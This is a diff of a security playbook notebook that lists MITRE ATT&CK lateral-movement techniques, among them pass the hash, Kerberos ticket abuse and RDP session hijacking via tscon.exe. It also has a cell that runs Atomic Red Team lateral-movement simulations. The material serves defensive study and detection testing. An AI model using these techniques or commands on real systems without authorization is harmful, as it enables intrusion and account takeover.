interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)\nT1076 | Remote Desktop Protocol | Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\nT1075 | Pass the Hash | Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\nT1072 | Software Deployment Tools | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.\nT1051 | Shared Webroot | **This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)\nT1028 | Windows Remote Management | Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\nT1021 | Remote Services | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)\nT1017 | Application Deployment Software | Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints." + "source": "# Lateral Movement\nThe adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. \n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1021.005 | VNC | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)\nT1080 | Taint Shared Content | \nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.\nT1021.004 | SSH | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.\nT1091 | Replication Through Removable Media | Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).\nT1021.008 | Direct Cloud VM Connections | Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).\nT1563.001 | SSH Hijacking | Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\nT1021.002 | SMB/Windows Admin Shares | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)\nT1550 | Use Alternate Authentication Material | Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n\nT1021 | Remote Services | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)\nT1563 | Remote Service Session Hijacking | Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)\nT1021.006 | Windows Remote Management | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)\nT1021.003 | Distributed Component Object Model | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)\nT1550.003 | Pass the Ticket | Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)\nT1021.007 | Cloud Services | Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as Connect-AZAccount for Azure PowerShell, Connect-MgGraph for Microsoft Graph PowerShell, and gcloud auth login for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. \nT1072 | Software Deployment Tools | Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.). \n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. Network infrastructure may also have administration tools that can be similarly abused by adversaries. (Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.\nT1210 | Exploitation of Remote Services | Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.\nT1534 | Internal Spearphishing | Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)\nT1570 | Lateral Tool Transfer | Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)\nT1550.004 | Web Session Cookie | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)\nT1563.002 | RDP Hijacking | Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)\nT1550.002 | Pass the Hash | Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)\nT1021.001 | Remote Desktop Protocol | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)\nT1550.001 | Application Access Token | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow." }, { "cell_type": "code", "execution_count": null, - "id": "f3805cf8", + "id": "a297aab3", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic lateral-movement" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1017.ipynb b/playbook/tactics/lateral-movement/T1017.ipynb deleted file mode 100644 index c6069a14..00000000 --- a/playbook/tactics/lateral-movement/T1017.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e0ab45c7", - 